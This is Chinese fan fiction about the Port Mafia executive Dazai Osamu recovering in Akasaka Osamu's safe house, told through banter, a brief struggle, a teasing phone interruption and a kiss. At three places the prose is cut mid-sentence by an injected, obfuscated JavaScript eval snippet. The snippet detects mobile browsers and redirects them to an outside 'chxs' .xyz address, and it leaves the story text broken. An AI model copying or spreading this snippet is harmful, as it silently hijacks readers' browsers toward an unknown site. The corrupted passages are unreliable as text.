他迷迷瞪瞪地起身,忽然感觉不太对劲。 于是他抄起床头的手机,摁亮屏幕看了一眼日期。 淦,一个星期过去了。 太宰治解锁手机翻了翻,发现手机好像没被动过,手机卡也还在。 赤坂冶没有要他断联的意思? 武器,钱,通讯工具,他一个都没拿走。他就这么放心地把他一个人放在这里了? 这是个什么意思? 还是说赤坂冶只是随便找了个地方安置他,就懒得管他了? 太宰治飞快地检查了下短信和未接来电——好极了,他无故断联一个星期,森先生不会以为他死了吧?——发了几条消息后,才慢吞吞地起身,去屋子里晃悠了一圈。 两室一厅的公寓,空荡荡的,没什么人气,但应急用品一应俱全。 看来这是赤坂冶的安全屋。 对方似乎算好了他会这个时候醒过来,不仅在床边放了更换的衣物、准备了未拆封的洗漱和生活必需品,还在冰箱里放了日期新鲜的食物。 看了一圈,太宰治只能由衷地感慨: 真是贴心又周到,怪不得能一路把弟弟拉扯到大呢,啧啧。 太宰治一边这么想着,一边毫不客气地伸出了罪恶之手。 于是赤坂冶回来的时候,就看到太宰治怀里抱着个抱枕、嘴里叼着个奶酪棒,懒懒散散地窝在沙发上看书,姿态好不悠闲。见他进来,太宰治还歪头过来,冲他招招手:“哟。” 赤坂冶一瞬间找回了一个星期前的那种语塞感,推门的动作明显一顿。 留意到这个小细节,太宰治眼里漾起几分不怀好意的笑意。 他放下书,单手支在沙发扶手上,撑着下颚前倾身体,拖长语调,掐着嗓子做作地说:“欢迎回来——” 赤坂冶:“…………” 太宰治,真乃奇人也。 他持续在心里调整对这个人的认知,面上只是表情如常地进门,随手带上门。 原本干净整洁的客厅已经遭了殃,厨房更是重灾区,原本冰箱里的东西全都被翻了出来。赤坂冶只准备了方便即食的东西,三明治、面包、牛奶、饭团一类的,又因为摸不清他的忌口而多买了几样。然而这些东西现在都被拆开了包装,好吃的被消灭了,三明治只有馅料被挑出来吃掉,而寡淡的、没有搭配也没有烤过的白面包就被随意咬了两口,然后丢到一边。 岂止‘挑剔’一个词能形容,这几乎能称得上是找事。 赤坂冶扫了一眼桌上的狼藉,感到有些意外,下意识地看了太宰治一眼。 太宰治同样也在看他,带着懒洋洋的笑容,笑意不及眼底,鸢色的眸子沉甸甸的,在背光的角度染上了几分暗色。 “怎么?”他还要明知故问。 “没什么。”赤坂冶说。 他只是有点意外。脱去那身显成熟的黑西装,这位干部先生看着和他弟弟差不多年纪,但撇去些微的坏心眼和跳脱思维,他身上可没什么属于年轻人的活力。 用‘活力’这个词来形容似乎都有些不准确,非要说的话,赤坂冶觉得他身上没什么人味。 迄今为止,他们最长的相处还得是在那天傍晚的监牢内。 擅长刑讯技巧的人有很多种,手段血腥残忍的也有很多,但他们中的大多数,要么是享受审讯的这个过程,要么是追求审讯的结果。不是所有人都能做得来这份工作的。但太宰治似乎不是这样,他给赤坂冶最大的感受是抽离和厌烦。他不是厌烦这份血腥的工作,而是厌烦目之所及的一切。 赤坂冶微妙地察觉到,在中期时他似乎提起了一点兴趣,然而那些不过转瞬即逝。几小时后,他怕是连自己当时做过什么都不记得了。 这人周身环绕着沉寂与漠然的气息,相比之下,他偶尔话里的那点恶趣味假得像是他演的。 赤坂冶有点分不清他真实的情绪和想法,所以当他从这满桌子的狼藉中接收到明确的‘小孩子脾气’时,他真的有点意外。 太宰治不知他的想法,只看到他淡定地低头收拾起桌子,将拆开过的包装纸、以及可以丢掉的部分都拣了出来,扫进垃圾桶,整理出一片干净的区域——他表情真是半点不变,看不出丝毫不情愿的感觉,让太宰治又一次感觉自己一拳打到了棉花上。 可恶,这是什么。 对着不会反抗的玩具熊拳打脚踢吗?太没意思了吧! 太宰治抱着抱枕背过身去,不再看他。 好半天,太宰治才察觉到有个人影来到沙发跟前,他靠得很近,只是单单站在这里就能带来些微的压迫感。太宰治偏着脑袋,权当没看见他。 “……”于是赤坂冶蹲下来,“喝橙汁吗?” 太宰治这才回过头:“喝。” 赤坂冶:“……” 不是他说,纯然的心性和不带任何底色的残忍真的在这位年轻的干部身上展现得淋漓尽致,相映成辉。 看起来这没加糖的鲜榨橙汁口感还算可以,至少挑剔的年轻干部一言不发地解决了小半瓶。他随手拧上瓶盖,将橙汁放在旁边的矮桌上,然后才将目光放回到赤坂冶身上。赤坂冶就这么蹲在沙发跟前看着他,明明一句话没说,存在感却异常强烈。 他今天的头发是扎起来的,蓬松带着光泽的棕发在脑后扎了个小揪揪,发尾打着卷,露出了英气的面容和脸上的伤疤。太宰治稀罕地多瞅了两眼。 这熟悉的角度,不熟悉的脸。这么素净完好没破相的、处于阳光下的脸,他看着竟然有点不太适应。 “你去哪了?”太宰治问。 “上班。”赤坂冶给出了一个太宰治未曾设想过的答案。 “……”太宰治的表情一言难尽,“打杂?” 赤坂冶浑不在意:“差不多吧。” 太宰治:“……你居然这么热爱工作?”热爱到情愿把他这么个大麻烦单独放在家里、也要出门打杂? 赤坂冶的理由很正当:“缺钱。” 太宰治:“…………” 太宰治脑子灵活得可怕,而赤坂冶居然也能接收到他的信息。太宰治眼神一扫,他就知道这位干部在想什么。他耸耸肩,坦然地说:“租的。东京房价太贵,贷款也买不起那么多。” 太宰治:“……之前那处地方呢?” 赤坂冶:“那是买的。” 太宰治:“……枪?” 赤坂冶:“所以更没钱了——黑市还允许分期?” 太宰治有点服气了。怪不得这家伙枪法过人却更喜欢用刀。子弹也要钱,所以不及刀子耐用是吧? 太宰治问:“你这几天住在哪?” 这间公寓里可没有第二个人生活的痕迹。 “办公室。”赤坂冶如实回答。 “……”太宰治觉得无语,又觉得有点好笑。 这家伙只要想,凭他的本事,上哪赚不来这笔快钱?但他偏不,还要主动调离。 太宰治用逗小狗的语气调侃道:“这么可怜呀。你不回家吗?” “被警察封了,在调查。你的血留在了现场……不用我想办法处理吧?” 太宰治稍微被噎了一下:“你都收拾了,还不替我一起收拾一下?以及你作为业主,没联系你协助调查?” 赤坂冶面不改色:“所以我正在外地出差。” 太宰治:“……” 好好好,怪不得换了打扮是吧。 比起之前穿得板板正正的一整套西装,赤坂冶这会儿散着衬衫领口,卷起袖子露出精壮的小臂,手臂上还有一道陈年的疤痕。他只是稍微换了打扮,气质就跟着一起变了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025552|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果说之前是有些阴郁沉默的上班族,那他现在一看就是在街上混的、会被人当成危险分子的、随便带条链子就能去街头勾搭小姑娘的那种。 不过以他这卖相,大概不仅能骗到年轻爱刺激的小姑娘,去店里勾搭富婆怕是也能找得着出路。 太宰治的眼神从他前胸处一扫而过,很快转到了别的地方。 “来说点正事吧。”太宰治垫在抱枕下的右手稍微动了动,“你把我留在这想干嘛?” 赤坂冶平和地看着他:“你想回去吗?” 太宰治反问:“你会让我回去吗?” 赤坂冶似乎认真思考了一会,然后缓缓开口:“应该吧。” “呵。”太宰治意味不明地哼笑一声,笑声里全是嘲讽的意味。他肆无忌惮地用目光上下打量着赤坂冶,像是在评判些什么,然后忽地,他挑起唇角讥讽一笑,突然丢开了抱枕,猛地抽出右手握着的东西! 所谓立竿见影,下一秒,原本安安稳稳蹲在那的赤坂冶猛然暴起,一把按住太宰治的肩膀,一手钳制住他右臂,将他狠狠按在了沙发上!他膝盖用力抵在太宰治后腰,单手摁着他的肩,另一手用几乎要将他骨头折断的力度将手臂折到后背,迫使他松开了手中的枪。 “哈啊。”太宰治痛得倒吸一口凉气,却浑不在意,放肆地笑出了声。 “装什么装?你这控制欲旺盛的家伙。我其实应该感谢你,这些天强忍着没杀掉我,忍得很艰难吧?”他冷嘲道,“枪里没子弹,用不着怕——怕的话就说出来嘛,有些事不敢也是正常的,对吧?” 赤坂冶一言不发,只是垂眸看着太宰治。 这一刻,处于强势方的是赤坂冶,但掌控了局面的却是看似狼狈的太宰治。后者的身体陷进了沙发,从侧面看,几乎被高大的棕发男人笼罩在阴影内,然而他脸上却带着挑衅的笑容。 “咳咳、咳……”太宰治用轻快的语气说,“你能不能轻、轻点掐我?脖子快被你拧断了。难道你这么不喜欢听我说话?我还以为你挺喜欢我……哎哟,手、手!轻点!你听不懂人话吗?!” “……”赤坂冶略微加重手上的力道,片刻后松开,于是太宰治又是惊天动地地一阵咳。 “凶死了!”他的骂声有些恼意,“你能不能放开我再说话?” “……我原本是好好跟你讲话的。”赤坂冶说,“是你非得要这样的。” 太宰治没好气地抱怨道:“真是粗暴的……”家伙,以后肯定找不到对象。 “而且。”赤坂冶截断他的话,不无诚意地说,“而且我最开始就问过你,我们是不是非得这么说话。你当时看着还挺乐意的。” “……”太宰治顿时哑巴了。 这家伙怎么还带翻旧账的?属性不太对劲吧? 没等太宰治再主动挑衅,赤坂冶就微微俯身,凑近他耳边,声音压低了些许。 “我是真的怕你找麻烦,但就这么杀了你好像也有点过分……你说怎么办才好呢?港口mafia的干部先生。” 他最后那句话竟是用了敬语。 太宰治一边因他这假惺惺的敬语而想要发笑,一边又被耳边的低语撩拨得有些耳廓发热。 他嗤笑一声:“那不如留我在这做客吧?你弄出来的伤,起码你得负责吧?” 赤坂冶又思考了一会。他其实想要一句承诺,但说实话,对这个人来说,承诺的可靠性似乎也得打个问号。他一时半会也不确定什么约束能对眼前这个人起效。 但左右他都鬼迷心窍把人救下来了,现在再杀,那才是真的自找麻烦。 他似乎也没有更好的办法了。 “你说得对。”赤坂冶放开他,顺手替他揉了揉脖颈,“是我的错。” 太宰治冷笑一声。 不过这一声里,听着是抱怨的意味大于冷嘲热讽。 于是赤坂冶将他拉起来:“那就请多指教了,太宰先生。” 10. 010 赤坂冶合理怀疑,太宰治只是在找借口不回去上班。 因为这已经是太宰治接的第三通电话了,也不知道对面是谁,每每说不了几句话,就被窝在沙发上看书的太宰治挂断、随意把手机丢到了一旁,真是闻者伤心见者落泪——赤坂冶要是敢这么应付工作,他早就被顶头上司扣光工资、甚至被组织当成垃圾处理掉了。 当然,他们处理他们的,最后是谁处理谁就不一定了。 如果赤坂冶当真铁了心想换工作的话。 赤坂冶端着盘切好的水果,劈手截住了被太宰治丢出来的手机,让这电子设备免于死无全尸的惨剧。 他低头看了一眼来电显示:“也不用拿手机出气吧?” “烦死了!”黑发青年鼓起脸颊,“那我拿你出气?” 太宰治其实已经关掉了铃声和震动,但耐不住他这会儿连看见手机亮屏都嫌烦。别问他为什么这么不高兴,因为人的心情就是这么变化无常。 赤坂冶并不回答,自作主张替他接通了电话,然后将手机贴到他耳边、塞进他手里。 太宰治张口欲骂,还没等说出话来,嘴里就被塞了块削了皮的苹果:“唔唔,你……” “太宰君?”通话对面传来男人有些幽怨的声音,“你终于愿意接我电话了吗?” 听着森鸥外这动静,太宰治只想翻白眼: 开什么玩笑,他都说了他伤还没好,居然还要他回去加班?想都不要想。 不会真的有人享受过殷勤周到的服务后,居然还乐意回去冷冰冰的办公室坐牢吧?反正他是绝对不想的,加钱也不行。 “嗯嗯。”他嚼着苹果,敷衍地应声,“森先生,好久不见。” 森鸥外的声音更幽怨了:“太宰君,我半个小时前才给你打过电话。” “是吗?”太宰治有气无力,“不好意思,我忘记了。” 不被尊敬的老师兼老板发出一声长叹,背景里活泼欢快的少女童音发出了一连串起哄般的笑声。 “真的不回来帮我吗?我最近可是忙得要死呢,堆积如山的工作熬夜都处理不完。” 提起那堆报告和文书工作,太宰治更没力气了。 “别逗了,工作就没有做完的时候吧。” 森鸥外仍不死心:“我可以叫中也君去接你。” 太宰治十然动拒。 可算了吧,小矮子从横滨过来只要二十分钟,那岂不是他四十分钟之后就得滚回去上班了?他又不是自虐狂! 他又戳了块苹果,继续敷衍:“哎呀,我受重伤了,下不了床。你把小矮子提拔上来帮你吧。” 这才是纯粹的开玩笑,要中原中也处理这些工作,是典型的事倍功半。森鸥外手底下的人,就只有太宰治最擅长应付这些。而且中原中也如今才刚刚升为干部候补,短时间内提拔太狠,也容易造成组织内部不稳。 森鸥外有点忧郁:唉,学生心野了皮痒了,当老师的就开始头疼了啊。 谁懂,有的人勤奋起来十个人合力都赶不上,摸起鱼来却能直接摸到人间蒸发。 哎,如果太宰君身上有个可选预约窗口、可以在一个月内最需要的时候叫回来加班就好了。 但左右他确定太宰治不是身陷重围、急需拯救后,他也就放过此事,随意叮嘱两句“常回家看看”之类的废话,就主动挂断了电话。 手机发出嘟嘟的两声提示音后,太宰治就用力扣上手机翻盖,没好气地把手机丢到了赤坂冶怀里:“行了吧?” 他慢慢滑下来,在沙发上融化成一滩。 “搞不懂你为什么喜欢上班。” 太宰治躺在沙发靠内的位置瘫着,赤坂冶就坐在沙发外侧看手机。他正在手机上浏览新闻,头也不抬地将太宰治的手机放回到矮桌上,然后拣起水果盘里的叉子,叉起一块苹果。 但没等送到嘴边,赤坂冶就感觉手腕一重,紧接着有人凑了过来,叼走了那块削成兔子形状的苹果。 “……”赤坂冶抬眸看过去,“你好像很无聊。” “稍微有点吧。” 太宰治一口咬掉了苹果兔子的耳朵,然后捏着兔子的躯干端详。 “你为什么还会这种没用的技能?” 以他对赤坂冶的观察,他不觉得这个人是会有这种闲情逸致的类型。 赤坂冶:“……” 阿这。 这是以前弟弟发烧的时候,他挖空心思哄弟弟吃东西时迫不得已学会的。 甚至除了兔子,他还会用苹果雕别的东西。别说是雕个兔子雕个花了,就是让他雕条龙他都能努努力——但这话是能说的吗? 还是别跟太宰治说那么多关于弟弟的事为好,赤坂冶这么想道。 赤坂冶明智地保持了沉默,但太宰治是何许人也。 他冷笑三声:“又是你弟弟。” 赤坂冶:“…………对。” 太宰治阴阳了一句:“为了你弟弟,你还真是什么都肯做。” “也没有吧。”赤坂冶有点走神,“他装病想逃课的时候我就没让。” 谁问这个了? 太宰治无语又没好气地瞥他一眼,将兔子躯干塞到嘴里吃掉。 他觉得赤坂冶这个人真的非常好懂。他的底线被划得非常清晰,而只要不越过那条线,你做任何事情他都不在意。 这么好懂的一个人,为什么满横滨的组织都瞎了眼,愣是没看出来这个人的价值呢? 如果能让他效忠,这可是个相当可靠的战斗力。即使没有异能力,这个人估计也能解决掉黑蜥蜴部队的大部分成员。 想到这,太宰治推销道:“不如你加入港口mafia、来给我当直属部下吧?养弟弟这么花钱,港口mafia的工资肯定比你现在的高。” “直属部下?” “对。”他解释了一句,“按照港口mafia的规矩,升任干部后将拥有最大的自主权,且有权挑选一名直接听从干部命令、直属于自己的部下。” “能越过首领的命令?” “啧啧,你要这么说,首领就不能乐意了。”太宰治笑了一声,“毕竟干部也要听首领的命令嘛。” 那就是可以的意思。 赤坂冶在心里笑了一声:“行。” 太宰治:“……?” 果不其然,赤坂冶后面那句话就出来了:“但你难道没有直属部下?” “不用管他。”太宰治漫不经心地说。 比起已经是块美玉的赤坂冶,还是原石、还需花费心力打磨的芥川龙之介就有点不够看了,各方各面都太让人费神了。 “就他那直脑筋,去战斗部队更适合一点,在我这待着也是浪费时间。” 他的语气漫不经心到有几分薄凉,于是赤坂冶点评道:“真是刻薄。” “怎么会?”太宰治笑眯眯的,“实话实说罢了。” 赤坂冶没再接话。那就是婉拒的意思了。 太宰治等了一会,又觉得无聊:“你这么不上道,不怕我追究你袭击我至重伤的事?” 赤坂冶没带怕的:“你会吗?” “……”太宰治又一次内心长叹,“好吧,我不会。” 这场两个人的游戏可以玩很久,如果太早超游就没意思了。 ——所以东京分部那群家伙是得眼瞎成什么样,才会觉得赤坂冶一无可取、一无所能的? 经过两天半的相处,越来越觉得自己摸清太宰治脾性的赤坂冶完全预料到了这个答案。 于是第一次的,他在太宰治面前轻轻地笑了一声:“我觉得也是。” ** 是夜,屋里没有开灯。 兴许是觉得赤坂冶成天睡办公室未免太可怜了点,太宰治大发慈悲地——天晓得为什么这里是赤坂冶的地方,却需要太宰治给予许可——允许赤坂冶回来过夜。赤坂冶对此没发表半句看法,干部先生说了,他就默不作声地听着。 当然,他还没gay到那个地步,没有要进屋和伤病号分享一张床的意思。 虽然同样都受了伤,但在太宰治还苍白着一张脸、每天一副恹恹样的时候,赤坂冶已经表现得像是没事人了一样,为此太宰治啧啧称奇地感慨他命硬。 ——其原话是高情商版本的‘生命力旺盛’。 他洗过了澡,给自己上过药,准备等药稍微干一点后再缠绷带。无聊等待的间隙中,他就坐在客卧的椅子上,拨通了弟弟的电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025553|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 通话被接通后,好半天他都没开口。通话对面的人也没说话,只有混杂着市井烟火气的背景音从话筒里传来,落入赤坂冶耳朵里。赤坂冶仔细听了听,居然还听到了对面人在咀嚼的声音。 在赤坂冶没意识到的时候,他的神情已经放松了下来:“在吃什么?” “铁板鱿鱼!”像是被给予了什么许可,赤坂幸一飞快地回答,“还有烤面筋、炸串、烤冷面、炸鸡柳……” 赤坂冶忍不住失笑。 赤坂幸一嘴里似乎塞着不少食物,说话有些含糊不清,但这不影响他传递自己的快乐:“哥,好好吃啊——我恨不得给你打包带回去!” 赤坂冶稍微收敛笑意,调侃道:“那你趁这时机多吃一点吧,国内唐人街卖的中华料理应该跟那边的很不一样。” “差太远了,哥,天差地别不足以形容。”赤坂幸一一副恨铁不成钢的样子,“他们是怎么好意思拿煎饺配米饭的?” 赤坂幸一慷慨激昂地吐槽了一番两边‘中华料理’的区别,又生动形象地描述了自己来这一趟遭受的文化冲击。等他终于想起来:“哎?哥哥,你的意思是我可以回去了?”的时候,赤坂冶已经坐在椅子上昏昏欲睡了。 赤坂冶也不是铁人,他也是需要休息的。 然而他白天上班、扫尾、处理后续,晚上要么睡在办公室、要么跟港口mafia的干部共处一室,这些天下来,他究竟有多少时间能够真正放松下来、好好休息……这真是个好问题。 听着弟弟轻快的、无忧无虑的声音,赤坂冶只觉得轻松。 于是在他不知不觉间,他就已经阖上了眼,呼吸放慢了下来。 “哥?哥哥,你还在吗?”好半天没听到回应,赤坂幸一才慢慢降低语速,最后小声地问了一句。 赤坂冶是真的睡着了。他当然没有回应。 于是赤坂幸一侧耳听了一会,也忍不住笑了笑。 光是听着哥哥平稳而绵长的呼吸声,他就感觉心里暖暖的。 他满手拎着的都是小吃跟食物,再放下去都要凉了,但他怎么也舍不得放下手机挂断电话。不仅如此,他甚至悄咪咪地点开了录音,准备回头将这段录音反复播放。 呵,东寺还说他像个变态。 真的变态有他这么体贴吗?他都不会吵哥哥睡觉的! 就录五分钟,他心想。就让他听五分钟吧,然后他就叫醒哥哥,让他躺到床上睡。 可惜的是,赤坂幸一没能踏踏实实地度过这五分钟。 他听到通话那边传来了其他动静。 那是非常轻的、有点距离的一声响,像是门被推开了。 只这一声,赤坂幸一的神经就猛地紧绷了起来。 手机的收音效果很有限,赤坂幸一听不清对面发生了什么。他只能在一段令人不安的寂静后,听到哥哥的声音忽地急促了起来。他像是倒吸了一口冷气,然后猛然惊醒了过来。 “你……”他声音有几分暗哑,“你怎么在这?” ……哥哥身边有人。 意识到这个事实后,赤坂幸一是彻底裂开了。 给出回应的是个很年轻的男声,压低声音含着笑,在因距离而显得模糊的情况下,显出几分离奇的暧昧。 “来看看你。你在打电话?” “嗯。”赤坂冶下意识应了一声。 赤坂幸一一听就知道,哥哥根本就是还没彻底醒过来。他半睡半醒的时候一向是这个腔调。 只有在这个时候,平时看着滴水不漏、无懈可击的哥哥会显得格外可爱。 但以往,这是独属于赤坂幸一一个人的时刻。 那个讨人厌的、陌生的男声突然贴近了过来,近到像是贴着手机话筒在讲话。 “你在跟谁讲电话?不陪我吗……亲爱的?” 几乎是下一秒,对面传来了椅子腿划过地面的尖锐声声音,然后椅子被带倒,撞到了什么,发出了一连串的动静。 几秒钟的混乱过后,是赤坂冶有些狼狈的声音:“你——” “——嘟、嘟嘟。” ……通话被挂断了。 ……赤坂幸一直接失手将手机的外壳捏出了一声响。 11. 011 这段以混乱为开局的同居生活和平得有些诡异。 对赤坂冶来说,家里多了个太宰治,有点像是家里多了只猫。 除去故意找麻烦、制造动静吸引注意力的时候,这个人大部分时间都很安静,给他几本书、一点食物、和一个能休憩的地方就可以打发。然后再每天换个药、缠个绷带、隔几天再带他去复个查,基本就没有其他麻烦事了。 太宰治不找事的时候实在很好说话,三言两语就能讲清事情,聊起天来也还算愉快。 如果不是他偶尔恶趣味地故意拨动赤坂冶那根神经,时不时把氛围弄得剑拔弩张、看看赤坂冶会作何反应外,赤坂冶大概很快就会被他的表象迷惑。 而不说话的时候,太宰治就更像猫了。赤坂冶时常会在收拾房间、或者做饭的时候冷不丁一抬头,发现太宰治不知道什么时候刷新在沙发上、站在门边、靠着墙在观察他。被发现后,太宰治就弯弯眼睛冲他一笑——但港口mafia的干部到底不是猫,于是赤坂冶时常被他笑得警铃大作。 什么好心态都得被这反复无常的危险态度搞崩溃。赤坂冶的态度被迫在两个极点中间反复横跳,然后理智占了上风,使得他脑子里的那根神经再也不敢松懈下来。 这人绝对是故意的,赤坂冶一百个确信。 但太宰治确实又什么事都没做。 没有暗示自己被挟持,没有寻求同僚的帮助,没有试图给赤坂冶两枪送他上路。他甚至会翻阅港口mafia近期的行动报告和内部论坛,然后挑着乐子讲给他听,安分得几乎有点诡异。 于是赤坂冶更不放心了。 想想他迄今为止和这个人打交道的时候都被这个人做了什么?呵呵。 这个人怎么可能这么好说话? 而另一边,对太宰治来说,赤坂冶这人…… 嘿,还真是有够滴水不漏的。 诡异的熟练度拉满的居家技能也就算了,照顾起人温柔又周全也就算了,做饭很好吃也就算了——说真的,赤坂冶是不是面瘫啊?还是他真的没有这样那样的情绪波动? 人怎么能情绪稳定成这个样子啊? 刚开始的时候,太宰治已经尽他可能地找事了,但似乎那些在赤坂冶看来都是小事,只要太宰治抱怨过一次,他就从善如流地改了做法。太宰治简直不敢想,这个人要是结婚了会是个什么程度的居家好老公,并很快停止了这种浪费口舌的无用功。 除此之外,更离谱的是,这个人好像不会放松警惕一样。 夜路走多了,哪怕是不以战斗为长项的人也能轻易看出别人的状态,而赤坂冶就给太宰治一种‘时刻都能应对一场1v10的高强度战斗’的感觉。 高度自律、有些强迫症、还神经紧绷到这个程度,这个人真的没问题吗? 所以当太宰治发现赤坂冶居然直接坐在椅子上睡着了之后,他几乎是要笑出声了。 他的心情有点复杂,但挑挑拣拣再汇总一下,基本可以提炼成: 嘿,终于让我逮到了吧! 带着这样愉快的心情,太宰治溜进了他的房间。 虚掩着的门被推开,在夜晚的寂静中发出一声足够清晰的声响。 赤坂冶没有醒来。 太宰治又想笑了。 往常别说是他推门进来了,就算他只是从赤坂冶身边经过、或是在他房门口站上三四秒,这个人就已经警觉地看过来了。 不过没等他迈出两步,他就有点笑不出来了。 赤坂冶放松地靠在椅背上,手肘支着扶手,微微侧着头,闭着双眼,坐在那一动不动。他肩上和腰腹处的伤口恢复很快,身上有股淡淡的药味,桌上还放着没收起来的医药品,绷带被拆开包装、还没来得及使用。 但这不是重点。 重点是他侧着头的样子像是在听什么,而再仔细一看,他手中握着部手机,手机屏幕自动暗掉了,但键盘却微微发着光。 他居然是在打电话。 太宰治又有点没兴致了。他感觉自己这些天的兴致也是时刻在两个极点中间反复横跳。 不是,说真的。 熬鹰驯狼这种事,就得是无主的才有趣啊。 但左右来都来了,太宰治也就继续靠近了过去。他低头观察两眼,发现前些日子他和赤坂冶夜晚激情游玩三小时留下的纪念品也还没有消退,在皮肤上留下深浅不一、纵横交错的痕迹。 哇哦,他当时下手这么狠的吗? 太宰治一边想着,一边上手摸了一把。 兴许是体质问题,太宰治的手总是很冰。人对外物的温度本就更加敏感,赤坂冶被冻了一下,倒吸一口冷气,一个激灵醒了过来。 他有点迷茫地睁开眼,然后一下子傻掉了。 “你……你怎么在这?” “来看看你呀。”太宰治这句话的尾音又轻又快,甚至没有被话筒收录进去。 他顺着赤坂冶肩头的一道疤往下摸,发觉尽管看着颜色挺浅,但摸上去的话还是能摸到皮肤有些凹凸不平。这看起来还得有一阵子才能好。不过赤坂冶貌似不是疤痕体质,过段时间应该就看不到了。 太宰治有点遗憾,不过心情还算可以。 鬼知道为什么他心情一下又回归平均值以上了。 尽管他的手腕被赤坂冶反射条件攥住、被对方无意识的力道弄得有点痛,也没影响他的兴致。 太宰治掐出茶茶的语调,明知故问: “你在打电话?” 赤坂冶还没完全清醒。他很快就会痛骂自己为什么开机速度总是这么慢,不过眼下这关头,赤坂冶只是很自然地、乖乖应了一声:“嗯。” 只一个单音节,太宰治就觉出他状态不对。他内心几乎要笑出声了,并觉得自己不趁人之危而后欺人太甚简直都对不起这送上门的机会。 他感觉现在不管他做什么,赤坂冶都反应不过来。 真是笑死了,还能有这种好事? 过分动手动脚可能会被对方的条件反射制裁,太宰治完全不想再体验一次被按着打的感觉。 机智的他决定智取。 家人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025554|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁懂啊,他看那小子不爽很久了。 太宰治也不试图将手挣脱,直接就着这个姿势俯身下去,于是看起来,就好像是赤坂冶主动握住他的手往自己怀里拉一样。 他笑嘻嘻地凑近,清晰地看到赤坂冶无意识地用眼神追逐自己,然后缓缓地、错愕地睁大了眼。 “你在跟谁讲电话?”他望进赤坂冶那双温暖的棕色眼睛。温热的吐息撒到赤坂冶的面颊上,让赤坂冶整个人都开始升温。 这还不算完,他再接再厉:“不陪我吗……亲爱的?” 赤坂冶:“……” 赤坂冶:“…………” 赤坂冶猛地松了手。 他一个后仰,险些把椅子直接带倒,整个人差点翻过去。 太宰治也被他吓了一跳,眼疾手快伸手勾住他的肩膀,但苦于姿势不好用力,太宰治不小心也被带的踉跄了一下。 椅子擦过地板发出折磨耳朵的声响,但赤坂冶根本注意不到。他怀里忽然落了个人,导致他条件反射用脚勾住了桌子腿、还抬手挡了一下避免对方掉下去。 等这个相对姿势终于稳定下来后,赤坂冶再一低头,整个人直接麻了。 “你——” 太宰治没搭理他,眼疾手快摁掉了手机通话,然后一个巧劲将手机从赤坂冶手中抽了出来。 赤坂冶已经完全想不起来自己还有在打电话了。他正在强迫自己不要偏过头移开视线,以免这一回合输得太惨烈。 不是,所以,等等。 赤坂冶看着太宰治将手机往桌上一丢。 所以刚刚发生了什么?? 尚且没等赤坂冶脑袋转过来弯,太宰治就已经回过头来,他只看了赤坂冶一眼,然后就发出了惊天爆笑声。 他差点直接笑倒在赤坂冶怀里。 赤坂冶不明所以。 好半天,太宰治才好心地开口为他解释。他笑得一颤一颤的,但丝毫不妨碍他调侃赤坂冶:“你耳朵红了哎。” 赤坂冶面无表情地板着脸:“……” 他有点郁闷,但又不能解释自己为何郁闷,所以他只能幽幽地看着太宰治:“你很开心?” 太宰治终于笑累了,长出了一口气,懒洋洋地回道:“还行吧。” ……行吧。 赤坂冶决定做个哑巴。 他绕过这个话题,只是催促说:“下去。” “不要。”太宰治软绵绵地拖长语调,咬字清晰地拒绝。 赤坂冶:“……?” “说真的,冶君。”太宰治问,“事情翻篇的提议,不考虑一下?” 赤坂冶终于再次抬眼正视他了。太宰治正笑盈盈地看着他,脸上那表情跟他故意使性子、然后等着看热闹时的表情没什么区别。 不过赤坂冶看着他,没说话。 太宰治撑着他肩膀起身,膝盖跪在椅子上低头凑近。他停顿了几秒,赤坂冶没躲,于是太宰治抚上他的面颊,用指腹碰了碰他脸上的伤疤。 随后他低下头,与赤坂冶交换了一个绵长的吻。 12. 012 所谓翻篇的意思,就是,翻篇了。 太宰治回了横滨,而赤坂冶不用再担心横滨地下庞然大物的威胁。 当年轻的黑发干部施施然走进港口mafia本部大楼、接到守卫传达的命令进入顶楼首领办公室时,屋里的两个人全都目光灼灼地盯着他。 太宰治没好气地翻了个白眼。 森先生那张怨妇脸也就算了,小矮子为什么会在这里? 早知道中也今天也在本部的话,他就明天再回来了。 太宰治默默移开视线,不想让黏糊糊的蛞蝓污染视野。 所谓距离产生美,有段时间没见的学生水灵灵地出现在面前,森鸥外此刻相当感慨:“太宰君,你回来了啊。玩得开心吗?” “还行吧。” 太宰治敷衍了一句。 中原中也在旁边看着,表情都难看了三个度。 他费了点功夫把‘喂你个青花鱼怎么跟Boss说话呢’的训斥咽了回去,很努力地才没让自己的嫌弃溢于言表。 